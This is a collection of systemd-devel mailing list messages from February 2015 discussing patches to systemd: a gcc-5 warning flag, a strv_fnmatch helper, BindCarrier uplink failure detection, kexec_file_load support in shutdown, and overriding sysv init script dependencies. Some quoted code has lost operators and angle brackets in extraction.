can be downloaded and booted as containers unmodified (the Fedora images lack the appropriate GPG signature files currently, so they cannot be verified, but this will change soon, hopefully). Note that downloading images is currently only fully supported on btrfs. * machinectl is now able to list container images found in /var/lib/machines, along with some metadata about sizes of disk and similar. If the directory is located on btrfs and quota is enabled, this includes quota display. A new command image-status has been added that shows additional information about images. * machinectl is now able to clone container images efficiently, if the underlying file system (btrfs) supports it, with the new machinectl list-images command. It also gained commands for renaming and removing images, as well as marking them read-only or
Re: [systemd-devel] [PATCH] configure: turn off -Wlogical-not-parentheses
On Mon, Feb 16, 2015 at 02:02:17PM -0800, Shawn Landden wrote: Introduced in gcc-5 These errors are really annoying. I can get behind clarification of nested ifs, but this is overkill. --- configure.ac | 1 + 1 file changed, 1 insertion(+) diff --git a/configure.ac b/configure.ac index 97a29d6..e646db7 100644 --- a/configure.ac +++ b/configure.ac @@ -187,6 +187,7 @@ CC_CHECK_FLAGS_APPEND([with_cflags], [CFLAGS], [\ -Wno-unused-parameter \ -Wno-missing-field-initializers \ -Wno-unused-result \ +-Wno-logical-not-parentheses \ -Werror=overflow \ -Wdate-time \ -Wnested-externs \ This does not work, gcc does not allow testing for -Wno- options. Zbyszek ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] [PATCH 1/3] Add helper for fnmatch over strv
On Mon, Feb 16, 2015 at 02:12:38PM +0100, Lennart Poettering wrote:
On Sat, 14.02.15 00:53, Zbigniew Jędrzejewski-Szmek (zbys...@in.waw.pl) wrote:
No functional change intended.
I like this simplification!
if (match_host !condition_test(match_host))
return false;
@@ -117,49 +112,17 @@ bool net_match_config(const struct ether_addr
*match_mac,
if (match_mac (!dev_mac || memcmp(match_mac, dev_mac,
ETH_ALEN)))
return false;
-if (!strv_isempty(match_paths)) {
-if (!dev_path)
-return false;
+if (!strv_isempty(match_paths))
+return strv_fnmatch(dev_path, match_paths, 0);
Can't this be shortened further by combining the stv_isempty() with
the strv_fnmatch?
This code is changed in 2/3. I believe it is broken in the original
version (and after the change above, which does not change functionality).
+bool strv_fnmatch(const char *s, char* const* patterns, int flags);
+
+static inline bool strv_fnmatch_or_empty(const char *s, char* const*
patterns, int flags) {
+assert(s);
+return strv_isempty(patterns) ||
+ strv_fnmatch(s, patterns, flags);
+}
Wouldn't the order of arguments be more natural if we specified the
strv (haystack) first, and the string (needle) second? After all,
it's kinda an OO interface, where the first object should come first?
Yeah, like strv_find and friends. I'll do that.
Anyway, this all looks like a great simplification. If this doesn't
change behaviour I love the idea, please apply!
I'll wait for some feedback on 2/3 from Tom.
Zbyszek
___
systemd-devel mailing list
systemd-devel@lists.freedesktop.org
http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] [PATCH 1/3] Add helper for fnmatch over strv
On Mon, Feb 16, 2015 at 2:54 PM, Zbigniew Jędrzejewski-Szmek
zbys...@in.waw.pl wrote:
On Mon, Feb 16, 2015 at 02:12:38PM +0100, Lennart Poettering wrote:
On Sat, 14.02.15 00:53, Zbigniew Jędrzejewski-Szmek (zbys...@in.waw.pl)
wrote:
No functional change intended.
I like this simplification!
if (match_host !condition_test(match_host))
return false;
@@ -117,49 +112,17 @@ bool net_match_config(const struct ether_addr
*match_mac,
if (match_mac (!dev_mac || memcmp(match_mac, dev_mac,
ETH_ALEN)))
return false;
-if (!strv_isempty(match_paths)) {
-if (!dev_path)
-return false;
+if (!strv_isempty(match_paths))
+return strv_fnmatch(dev_path, match_paths, 0);
Can't this be shortened further by combining the stv_isempty() with
the strv_fnmatch?
This code is changed in 2/3. I believe it is broken in the original
version (and after the change above, which does not change functionality).
+bool strv_fnmatch(const char *s, char* const* patterns, int flags);
+
+static inline bool strv_fnmatch_or_empty(const char *s, char* const*
patterns, int flags) {
+assert(s);
+return strv_isempty(patterns) ||
+ strv_fnmatch(s, patterns, flags);
+}
Wouldn't the order of arguments be more natural if we specified the
strv (haystack) first, and the string (needle) second? After all,
it's kinda an OO interface, where the first object should come first?
Yeah, like strv_find and friends. I'll do that.
Anyway, this all looks like a great simplification. If this doesn't
change behaviour I love the idea, please apply!
I'll wait for some feedback on 2/3 from Tom.
Hm, I haven't received these patches (yet?), care to point me at a
public branch instead?
Cheers,
Tom
___
systemd-devel mailing list
systemd-devel@lists.freedesktop.org
http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] [PATCH v3] Added support for Uplink Failure Detection using BindCarrier
Hi Tom,
Regarding your request:
Hm, we need to introduce a new administrative state here I think
(LINK_STATE_DOWN), and then make sure we don't accidentally leave
it in case we get some other event after bringing the interface down.
This is a little bit tricky.
When we bring the link down it would be easy to change the state to
LINK_STATE_DOWN, but when we bring the port up I don’t know how to restore it
to the previous state unless I use an additional variable in the link structure
to retain the previous state of the port, but this will not look nice I think.
Would this be acceptable ?
Currently, when a link becomes down, it will have the operational state off.
See State: off (configured) below:
Would this suffice since however we don't have a corresponding LINK_STATE_UP
and from current behavior it seems acceptable to have the port down
(operational off) and configured.
# networkctl status sw0p3
● 5: sw0p3
Link File: /usr/lib/systemd/network/99-default.link
Network File: /etc/systemd/network/sw0p3.network
Type: ether
State: off (configured)
Driver: fm6k
MTU: 1500
Carrier Bound To: sw0p2
sw0p1
#
Best Regards,
Alin
-Original Message-
From: Zbigniew Jędrzejewski-Szmek [mailto:zbys...@in.waw.pl]
Sent: Saturday, February 14, 2015 3:34 PM
To: Rauta, Alin
Cc: Tom Gundersen; Lennart Poettering; systemd Mailing List; Kinsella, Ray
Subject: Re: [PATCH v3] Added support for Uplink Failure Detection using
BindCarrier
On Sat, Feb 14, 2015 at 03:26:00PM +, Rauta, Alin wrote:
Hi guys,
Thanks for your input on this. Much appreciated.
I'll try handle your remarks in the next patch.
Please find my comments below.
Best Regards,
Alin
-Original Message-
From: Tom Gundersen [mailto:t...@jklm.no]
Sent: Saturday, February 14, 2015 2:50 PM
To: Zbigniew Jędrzejewski-Szmek
Cc: Rauta, Alin; Lennart Poettering; systemd Mailing List; Kinsella,
Ray
Subject: Re: [PATCH v3] Added support for Uplink Failure Detection
using BindCarrier
On Sat, Feb 14, 2015 at 3:05 PM, Zbigniew Jędrzejewski-Szmek
zbys...@in.waw.pl wrote:
On Fri, Feb 13, 2015 at 10:27:07PM +0100, Tom Gundersen wrote:
Hi Alin,
Thanks for the patch. This is starting to look pretty good now.
I still have some questions/requests regarding some implementation
details (below), but hopefully we can get this merged after the
next release (trying to stabilize things at the moment).
On Tue, Feb 10, 2015 at 12:30 PM, Alin Rauta alin.ra...@intel.com wrote:
---
man/systemd.network.xml | 11 ++
src/libsystemd/sd-network/sd-network.c | 4 +
src/network/networkctl.c | 211
---
src/network/networkd-link.c | 123 +-
src/network/networkd-link.h | 1 +
src/network/networkd-manager.c | 7 +
src/network/networkd-network-gperf.gperf | 1 +
src/network/networkd-network.c | 10 ++
src/network/networkd.h | 2 +-
src/systemd/sd-network.h | 3 +
10 files changed, 355 insertions(+), 18 deletions(-)
diff --git a/man/systemd.network.xml b/man/systemd.network.xml
index 9b3a92d..8b2ca4e 100644
--- a/man/systemd.network.xml
+++ b/man/systemd.network.xml
@@ -270,6 +270,17 @@
/listitem
/varlistentry
varlistentry
+ termvarnameBindCarrier=/varname/term
+ listitem
+paraA port or a list of ports. When set, controls the
+behaviour of the current interface. When all ports in the
list
+are operational down, the failure is propagated to
+ the current
operational down does not follow normal grammar rules. are in an
operational down state?
+interface. When at least one port has carrier, the current
+interface is brought up.
+/para
Maybe we should make it clear that this is not necessarily a
failure (the uplink may be down on purpose), and that the way we
propagate it is to set the downlink administrative down.
Alin:
I will think of something else here. Some other way to describe this.
+ /listitem
+/varlistentry
+varlistentry
termvarnameAddress=/varname/term
listitem
paraA static IPv4 or IPv6 address and its prefix
length, diff --git a/src/libsystemd/sd-network/sd-network.c
b/src/libsystemd/sd-network/sd-network.c
index c735cac..b574d19 100644
--- a/src/libsystemd/sd-network/sd-network.c
+++ b/src/libsystemd/sd-network/sd-network.c
@@ -264,6 +264,10 @@ _public_ int sd_network_link_get_domains(int
ifindex, char ***ret) {
return network_get_link_strv(DOMAINS, ifindex, ret);
}
+_public_ int
Re: [systemd-devel] [PATCH] configure: turn off -Wlogical-not-parentheses
On Mon, Feb 16, 2015 at 2:03 PM, Zbigniew Jędrzejewski-Szmek zbys...@in.waw.pl wrote: On Mon, Feb 16, 2015 at 02:02:17PM -0800, Shawn Landden wrote: Introduced in gcc-5 These errors are really annoying. I can get behind clarification of nested ifs, but this is overkill. --- configure.ac | 1 + 1 file changed, 1 insertion(+) diff --git a/configure.ac b/configure.ac index 97a29d6..e646db7 100644 --- a/configure.ac +++ b/configure.ac @@ -187,6 +187,7 @@ CC_CHECK_FLAGS_APPEND([with_cflags], [CFLAGS], [\ -Wno-unused-parameter \ -Wno-missing-field-initializers \ -Wno-unused-result \ +-Wno-logical-not-parentheses \ -Werror=overflow \ -Wdate-time \ -Wnested-externs \ This does not work, gcc does not allow testing for -Wno- options. That is a good thing as otherwise it would break older compilers. This fixes the warnings for me. Zbyszek ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel -- Shawn Landden ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] [PATCH] shutdown: avoid calling `kexec` binary unnessecarily
On Mon, Feb 16, 2015 at 5:08 AM, Lennart Poettering lenn...@poettering.net
wrote:
On Fri, 13.02.15 14:18, Shawn Landden (sh...@churchofgit.com) wrote:
Still use helper when Xen Dom0, to avoid duplicating some hairy
code.
Hmm, what precisely does the helper do on xen?
So we don't have any logic to load kexec kernels?
Currently we don't.
My hope though was that we can make the whole kexec thing work without
having kexec-tools installed. With the new kernel syscall for loading
the kernel we should be able to implement this all without any other
tools.
Ideally we'd not use any external tools anymore, not even in the Xen
case, hence I am curious what precisely the special hookup for Xen is
here...?
Lennart
https://git.kernel.org/cgit/utils/kernel/kexec/kexec-tools.git/tree/kexec/kexec-xen.c
I've attached my patch.
I'm having a problem with kexec_file_load() returning ENOMEM that I havn't
resolved.
--
Lennart Poettering, Red Hat
___
systemd-devel mailing list
systemd-devel@lists.freedesktop.org
http://lists.freedesktop.org/mailman/listinfo/systemd-devel
--
Shawn Landden
From d5446e324143f55e67bc2defe1c78a4ea4201142 Mon Sep 17 00:00:00 2001
From: Shawn Landden sh...@churchofgit.com
Date: Fri, 13 Feb 2015 13:48:07 -0800
Subject: [PATCH] shutdown: avoid calling `kexec` binary unnessecarily
Still use helper when Xen Dom0, to avoid duplicating some hairy code.
So we don't have any logic to load kexec kernels?
---
TODO | 3 --
src/core/shutdown.c | 121 ++-
src/shared/missing.h | 7 +++
3 files changed, 116 insertions(+), 15 deletions(-)
diff --git a/TODO b/TODO
index 255a4f2..d914d2c 100644
--- a/TODO
+++ b/TODO
@@ -90,9 +90,6 @@ Features:
* maybe introduce WantsMountsFor=? Usecase:
http://lists.freedesktop.org/archives/systemd-devel/2015-January/027729.html
-* rework kexec logic to use new kexec_file_load() syscall, so that we
- don't have to call kexec tool anymore.
-
* The udev blkid built-in should expose a property that reflects
whether media was sensed in USB CF/SD card readers. This should then
be used to control SYSTEMD_READY=1/0 so that USB card readers aren't
diff --git a/src/core/shutdown.c b/src/core/shutdown.c
index 71f001a..14febf3 100644
--- a/src/core/shutdown.c
+++ b/src/core/shutdown.c
@@ -19,6 +19,7 @@
along with systemd; If not, see http://www.gnu.org/licenses/.
***/
+#include ctype.h
#include sys/mman.h
#include sys/types.h
#include sys/reboot.h
@@ -27,6 +28,7 @@
#include sys/stat.h
#include sys/mount.h
#include sys/syscall.h
+#include sys/utsname.h
#include fcntl.h
#include dirent.h
#include errno.h
@@ -138,6 +140,35 @@ static int parse_argv(int argc, char *argv[]) {
return 0;
}
+/*
+ * Remove parameter from a kernel command line. Helper function for kexec.
+ * (copied from kexec-tools)
+ */
+static void remove_parameter(char *line, const char *param_name) {
+char *start, *end;
+
+start = strstr(line, param_name);
+
+/* parameter not found */
+if (!start)
+return;
+
+/*
+ * check if that's really the start of a parameter and not in
+ * the middle of the word
+ */
+if (start != line !isspace(*(start-1)))
+return;
+
+end = strstr(start, );
+if (!end)
+*start = 0;
+else {
+memmove(start, end+1, strlen(end));
+*(end + strlen(end)) = 0;
+}
+}
+
static int switch_root_initramfs(void) {
if (mount(/run/initramfs, /run/initramfs, NULL, MS_BIND, NULL) 0)
return log_error_errno(errno, Failed to mount bind /run/initramfs on /run/initramfs: %m);
@@ -152,6 +183,57 @@ static int switch_root_initramfs(void) {
return switch_root(/run/initramfs, /oldroot, false, MS_BIND);
}
+static int kernel_load(bool overwrite) {
+int r = -ENOTSUP;
+
+/* only x86_64 and x32 in 3.18 */
+#ifdef __NR_kexec_file_load
+/* If uses has no already loaded a kexec kernel assume they
+ * want the same one they are currently running. */
+if (!overwrite !kexec_loaded()) {
+struct utsname u;
+_cleanup_free_ char *vmlinuz = NULL, *initrd = NULL, *cmdline = NULL;
+_cleanup_close_ int vmlinuz_fd = -1, initrd_fd = -1;
+
+r = uname(u);
+if (r 0)
+return -errno;
+
+vmlinuz = malloc(strlen(/boot/vmlinuz-) + strlen(u.release) + 1);
+initrd = malloc(strlen(/boot/initrd.img-) + strlen(u.release) + 1);
+if (!vmlinuz || !initrd)
+return -ENOMEM;
+
+r = read_one_line_file(/proc/cmdline, cmdline);
+
[systemd-devel] [PATCH] units: add ConditionKernelCommandLine=resume
If there is no resume= ..it is not possible to hubrid-sleep or hibernate --- units/systemd-hibernate.service.in| 1 + units/systemd-hybrid-sleep.service.in | 1 + 2 files changed, 2 insertions(+) diff --git a/units/systemd-hibernate.service.in b/units/systemd-hibernate.service.in index 29d9b69..2a21cfc 100644 --- a/units/systemd-hibernate.service.in +++ b/units/systemd-hibernate.service.in @@ -11,6 +11,7 @@ Documentation=man:systemd-suspend.service(8) DefaultDependencies=no Requires=sleep.target After=sleep.target +ConditionKernelCommandLine=resume [Service] Type=oneshot diff --git a/units/systemd-hybrid-sleep.service.in b/units/systemd-hybrid-sleep.service.in index 914b686..b3039a0 100644 --- a/units/systemd-hybrid-sleep.service.in +++ b/units/systemd-hybrid-sleep.service.in @@ -11,6 +11,7 @@ Documentation=man:systemd-suspend.service(8) DefaultDependencies=no Requires=sleep.target After=sleep.target +ConditionKernelCommandLine=resume [Service] Type=oneshot -- 2.2.2 ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] sysv-generator: doesn't handle /etc/insserv/overrides or /etc/chkconfig.d
On Mon, 16.02.15 12:25, Christian Seiler (christ...@iwakd.de) wrote: Hi, Would you accept a patch that makes the sysv-generator consider these local overrides? (I have a test patch just for insserv/overrides that's diffstat +14 -8; for chkconfig.d it would be a bit more longer, because you can override individual settings there (and not just all of them at once), but shouldn't be too complicated. We currently have support for calling out to chkconfig, but zero support for calling out to update-rcd or insserv. It would be weird supporting some facilities they provide without supporting the tools themsevles... This is also the first time I hear about chkconfig.d, which is kinda interesting, given that the transition on Fedora is already years past... We never got any request for it to be supported explicitly. Which makes me wonder if it really makes sense to support this now. So, I am pretty conservative about this. That said I am note entirely sure what precisely the patch you propose would entail. What precisely would it do? Just look for init scripts in some other place in addition to /etc/rc.d? So this would definitely NOT call out to anything at all, this is just about the possibility to override headers (LSB or chkconfig ones) in init scripts. Basically, you have the following semantics - insserv (SuSE/Debian), when it processes /etc/init.d/$NAME, it also looks for /etc/insserv/overrides/$NAME. If the latter exists, it reads the LSB headers (but ONLY the LSB headers) from that file and completely ignores the LSB headers in /etc/init.d/$NAME (i.e. that file is not parsed at all). But the script called is still the original /etc/init.d/$NAME. - chkconfig (Fedora, RHEL, ...), when it processes /etc/init.d/$NAME, it also looks for /etc/chkconfig.d/$NAME. If the latter exists, every header set in that file overrides the corresponding header in the original init script (but the original init script is still read). Well, if this is really just about overriding the LSB headers, and nobody so far ever asked for this functionality, wouldn't it be a better and easier way out to just recommend people to do systemd-style drop-ins? I mean, those also work on units generated by the sysv generator... You couldn't override init scripts that way - if you wanted to do that, you'd have to replace them completely. But if you just want to alter (or even specify for the first time for certain third-party scripts) dependency information but keep getting updates for the init script from the software vendor, this was really, really useful. Since I never heard anyone asking for this, I doubt it was really that useful in real life... Note that on servers running Debian I've used /etc/insserv/overrides countless times over the past years, so maybe chkconfig.d wasn't something that was widely popularized, but insserv/overrides definitely was. Again given that on DEbian we don't even have hookup to insserv/update-rcd, I kinda wonder if it would be appropriate to support this facet of it, without supporting the actual core bit. I also believ that systemctl edit is a much nicer interface for all of this, and it works on both sysv scripts and unit files... Lennart -- Lennart Poettering, Red Hat ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] [PATCH] shutdown: avoid calling `kexec` binary unnessecarily
On Fri, 13.02.15 14:18, Shawn Landden (sh...@churchofgit.com) wrote: Still use helper when Xen Dom0, to avoid duplicating some hairy code. Hmm, what precisely does the helper do on xen? So we don't have any logic to load kexec kernels? Currently we don't. My hope though was that we can make the whole kexec thing work without having kexec-tools installed. With the new kernel syscall for loading the kernel we should be able to implement this all without any other tools. Ideally we'd not use any external tools anymore, not even in the Xen case, hence I am curious what precisely the special hookup for Xen is here...? Lennart -- Lennart Poettering, Red Hat ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] [PATCH 1/3] Add helper for fnmatch over strv
On Sat, 14.02.15 00:53, Zbigniew Jędrzejewski-Szmek (zbys...@in.waw.pl) wrote:
No functional change intended.
I like this simplification!
if (match_host !condition_test(match_host))
return false;
@@ -117,49 +112,17 @@ bool net_match_config(const struct ether_addr
*match_mac,
if (match_mac (!dev_mac || memcmp(match_mac, dev_mac, ETH_ALEN)))
return false;
-if (!strv_isempty(match_paths)) {
-if (!dev_path)
-return false;
+if (!strv_isempty(match_paths))
+return strv_fnmatch(dev_path, match_paths, 0);
Can't this be shortened further by combining the stv_isempty() with
the strv_fnmatch?
+bool strv_fnmatch(const char *s, char* const* patterns, int flags);
+
+static inline bool strv_fnmatch_or_empty(const char *s, char* const*
patterns, int flags) {
+assert(s);
+return strv_isempty(patterns) ||
+ strv_fnmatch(s, patterns, flags);
+}
Wouldn't the order of arguments be more natural if we specified the
strv (haystack) first, and the string (needle) second? After all,
it's kinda an OO interface, where the first object should come first?
Anyway, this all looks like a great simplification. If this doesn't
change behaviour I love the idea, please apply!
Lennart
--
Lennart Poettering, Red Hat
___
systemd-devel mailing list
systemd-devel@lists.freedesktop.org
http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] sysv-generator: doesn't handle /etc/insserv/overrides or /etc/chkconfig.d
2015-02-16 13:59 GMT+01:00 Lennart Poettering lenn...@poettering.net: Well, if this is really just about overriding the LSB headers, and nobody so far ever asked for this functionality, wouldn't it be a better and easier way out to just recommend people to do systemd-style drop-ins? I mean, those also work on units generated by the sysv generator... Not quite. While you can use drop-in snippets to amend orderings/depends, it's (unfortunately) not possible to override Wants=,Before= etc. With insserv overrides you can apparently *replace* the LSB header of an SysV init script. You couldn't override init scripts that way - if you wanted to do that, you'd have to replace them completely. But if you just want to alter (or even specify for the first time for certain third-party scripts) dependency information but keep getting updates for the init script from the software vendor, this was really, really useful. Since I never heard anyone asking for this, I doubt it was really that useful in real life... To be fair, there is https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=759001 We never raised that upstream though. Note that on servers running Debian I've used /etc/insserv/overrides countless times over the past years, so maybe chkconfig.d wasn't something that was widely popularized, but insserv/overrides definitely was. Again given that on DEbian we don't even have hookup to insserv/update-rcd, I kinda wonder if it would be appropriate to support this facet of it, without supporting the actual core bit. I also believ that systemctl edit is a much nicer interface for all of this, and it works on both sysv scripts and unit files... Agreed, systemctl edit is much nicer. Unfortunately, as said above, drop-ins can *not* be used to override all aspects of a native unit file. So it's not (yet) a complete replacement for insserv overrides. If it would be possible to unset Wants= or After=, just like other service properties, then things would be different. -- Why is it that all of the instruments seeking intelligent life in the universe are pointed away from Earth? ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] sysv-generator: doesn't handle /etc/insserv/overrides or /etc/chkconfig.d
On Mon, 16.02.15 14:13, Michael Biebl (mbi...@gmail.com) wrote: 2015-02-16 13:59 GMT+01:00 Lennart Poettering lenn...@poettering.net: Well, if this is really just about overriding the LSB headers, and nobody so far ever asked for this functionality, wouldn't it be a better and easier way out to just recommend people to do systemd-style drop-ins? I mean, those also work on units generated by the sysv generator... Not quite. While you can use drop-in snippets to amend orderings/depends, it's (unfortunately) not possible to override Wants=,Before= etc. There have been discussions to allow masking deps via /dev/null symlinks in .wants/ and .requires/ dirs... I think that'd be a better solution... Since I never heard anyone asking for this, I doubt it was really that useful in real life... To be fair, there is https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=759001 We never raised that upstream though. On Fedora I am not aware of any request to support this over all those years! Note that on servers running Debian I've used /etc/insserv/overrides countless times over the past years, so maybe chkconfig.d wasn't something that was widely popularized, but insserv/overrides definitely was. Again given that on DEbian we don't even have hookup to insserv/update-rcd, I kinda wonder if it would be appropriate to support this facet of it, without supporting the actual core bit. I also believ that systemctl edit is a much nicer interface for all of this, and it works on both sysv scripts and unit files... Agreed, systemctl edit is much nicer. Unfortunately, as said above, drop-ins can *not* be used to override all aspects of a native unit file. So it's not (yet) a complete replacement for insserv overrides. If it would be possible to unset Wants= or After=, just like other service properties, then things would be different. As mentioned, I'd be happy to take patches to make precisely that work! Lennart -- Lennart Poettering, Red Hat ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] [PATCH 1/3] Add helper for fnmatch over strv
On Mon, Feb 16, 2015 at 03:20:21PM +0100, Tom Gundersen wrote:
On Mon, Feb 16, 2015 at 2:54 PM, Zbigniew Jędrzejewski-Szmek
zbys...@in.waw.pl wrote:
On Mon, Feb 16, 2015 at 02:12:38PM +0100, Lennart Poettering wrote:
On Sat, 14.02.15 00:53, Zbigniew Jędrzejewski-Szmek (zbys...@in.waw.pl)
wrote:
No functional change intended.
I like this simplification!
if (match_host !condition_test(match_host))
return false;
@@ -117,49 +112,17 @@ bool net_match_config(const struct ether_addr
*match_mac,
if (match_mac (!dev_mac || memcmp(match_mac, dev_mac,
ETH_ALEN)))
return false;
-if (!strv_isempty(match_paths)) {
-if (!dev_path)
-return false;
+if (!strv_isempty(match_paths))
+return strv_fnmatch(dev_path, match_paths, 0);
Can't this be shortened further by combining the stv_isempty() with
the strv_fnmatch?
This code is changed in 2/3. I believe it is broken in the original
version (and after the change above, which does not change functionality).
+bool strv_fnmatch(const char *s, char* const* patterns, int flags);
+
+static inline bool strv_fnmatch_or_empty(const char *s, char* const*
patterns, int flags) {
+assert(s);
+return strv_isempty(patterns) ||
+ strv_fnmatch(s, patterns, flags);
+}
Wouldn't the order of arguments be more natural if we specified the
strv (haystack) first, and the string (needle) second? After all,
it's kinda an OO interface, where the first object should come first?
Yeah, like strv_find and friends. I'll do that.
Anyway, this all looks like a great simplification. If this doesn't
change behaviour I love the idea, please apply!
I'll wait for some feedback on 2/3 from Tom.
Hm, I haven't received these patches (yet?), care to point me at a
public branch instead?
http://lists.freedesktop.org/archives/systemd-devel/2015-February/028350.html
Zbyszek
___
systemd-devel mailing list
systemd-devel@lists.freedesktop.org
http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] sysv-generator: doesn't handle /etc/insserv/overrides or /etc/chkconfig.d
On 16 February 2015 at 14:35, Christian Seiler christ...@iwakd.de wrote: Am 2015-02-16 13:59, schrieb Lennart Poettering: You couldn't override init scripts that way - if you wanted to do that, you'd have to replace them completely. But if you just want to alter (or even specify for the first time for certain third-party scripts) dependency information but keep getting updates for the init script from the software vendor, this was really, really useful. Since I never heard anyone asking for this, I doubt it was really that useful in real life... Understanding that you don't want to accept this kind of patch, I do want to disagree here vehemently. On sysvinit systems I've used that a LOT of times to modify init scripts, both from the distribution and from third parties. Scripts from the distribution mainly to add some dependencies due to local configuration, but third-party scripts because those had either completely broken LSB headers or even non-existent ones. So at least from my experience, this feature was _immensely_ useful. And if you search for insserv/overrides in your favorite search engine, you'll find that there are enough hits there to see that I'm not the only one. (Now obviously, you don't want to support it, so I'll move on, but I did want to disagree with the assertion that it wasn't useful.) It is likely that things/scripts that were modified at the time via such overrides, have systemd units today. Merging this support today, will land in stable enterprisy releases in 1-2 years time. By that time, upgrades to that future release is even more likely to have been moved on to systemd units - or alternative technologies / implementations all together. I believe that your concerns and points are valid, but the timing to implement/merge/support such a use-case upstream is past the point of no return. Systems that will upgrade to systemd 219+ will be overwhelmingly from earlier systemd releases, or at best mixtures of (degrees of) upstart and/or SysV compliant initscript (with dependencies) in an enforcing mode. If you have a strong desire for such a feature, and I presume in current stable distributions, rather than future stables. It is best to factor it out into a stand-alone, portable across older systemd releases, generator, and ship it as stand-alone utility / project that people can install as an addon to regain compat for that functionality. And hopefully people will have no need for it in the stable distros everyone will ship in 2017 onwards. -- Regards, Dimitri. Intel Corporation (UK) Ltd. - Co. Reg. #1134945 - Pipers Way, Swindon SN3 1RJ. ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] sysv-generator: doesn't handle /etc/insserv/overrides or /etc/chkconfig.d
Am 2015-02-16 13:59, schrieb Lennart Poettering: You couldn't override init scripts that way - if you wanted to do that, you'd have to replace them completely. But if you just want to alter (or even specify for the first time for certain third-party scripts) dependency information but keep getting updates for the init script from the software vendor, this was really, really useful. Since I never heard anyone asking for this, I doubt it was really that useful in real life... Understanding that you don't want to accept this kind of patch, I do want to disagree here vehemently. On sysvinit systems I've used that a LOT of times to modify init scripts, both from the distribution and from third parties. Scripts from the distribution mainly to add some dependencies due to local configuration, but third-party scripts because those had either completely broken LSB headers or even non-existent ones. So at least from my experience, this feature was _immensely_ useful. And if you search for insserv/overrides in your favorite search engine, you'll find that there are enough hits there to see that I'm not the only one. (Now obviously, you don't want to support it, so I'll move on, but I did want to disagree with the assertion that it wasn't useful.) Christian ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
[systemd-devel] Another attempt: Making dependencies properly overridable
Am 2015-02-16 14:16, schrieb Lennart Poettering: On Mon, 16.02.15 14:13, Michael Biebl (mbi...@gmail.com) wrote: Not quite. While you can use drop-in snippets to amend orderings/depends, it's (unfortunately) not possible to override Wants=,Before= etc. There have been discussions to allow masking deps via /dev/null symlinks in .wants/ and .requires/ dirs... I think that'd be a better solution... [...] Agreed, systemctl edit is much nicer. Unfortunately, as said above, drop-ins can *not* be used to override all aspects of a native unit file. So it's not (yet) a complete replacement for insserv overrides. If it would be possible to unset Wants= or After=, just like other service properties, then things would be different. As mentioned, I'd be happy to take patches to make precisely that work! Last time I talked about this here, there was a lot of confusion, so I didn't pursue it further. But I would really like to get this to work, but before I start with a patch, I'd like to explain what I'd like to do before working on it, to see if it works for you. The semantics I'd like to see would be the following: - anything in /etc named exactly the same as in /usr/lib overrides the latter, just as is already the case with units and drop-ins = allow masking of .wants/ and .requires/ with symlinks to /dev/null (I think you were in favor of that) - additionally, postpone processing of dependencies in unit files until the entire unit (and all drop-ins) have been read in For example, even without a drop-in: a.service: [Unit] Wants=b.service Wants= Wants=c.service After that, Wants should be set to c.service. Note that this should NOT affect dependencies set in other ways, i.e. via .wants/ directories or by dependencies of other services, this should JUST alter what was specified in the unit itself. A more complex example to illustrate the latter: /usr/lib/.../a.service: [Unit] Wants=b.service After=c.service /usr/lib/.../a.service.wants/d.service - /usr/lib/.../d.service /usr/lib/.../a.service.wants/e.service - /usr/lib/.../e.service /usr/lib/.../f.service [Unit] Before=a.service /etc/.../a.service.d/dont-depend-on-b.conf: [Unit] Wants= /etc/.../a.service.d/not-after-c.conf: [Unit] After= /etc/.../a.service.wants/e.service - /dev/null In the end, the dependnecies should be: Wants=d.service - b.service gets removed via drop-in - e.service gets removed because it's masked - but d.service stays, because it was never defined in the unit file, so a drop-in doesn't override it, only the mask does After=f.service - c.service gets removed via drop-in - f.service is not declared in the original unit file but rather in f.service as a Before= dependency, so you'd have to override that to make this go into effect The general principle would be: you can drop stuff at the same place it's defined. If it's defined as After= in a unit, override it in a drop-in for that unit, if it's defined as Before= in another unit, override it in a drop-in for the other unit, and if it's defined in the filesystem via .wants/ or .requires/, you can override it by masking it in the filesystem. Only in the end will all remaining dependencies be combined to make up the entire list of dependencies for that service. Would you be agreeable to these semantics? If so, I'll hack up a patch. Christian ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
[systemd-devel] [PATCH] build-sys: Lookup for the location of agetty
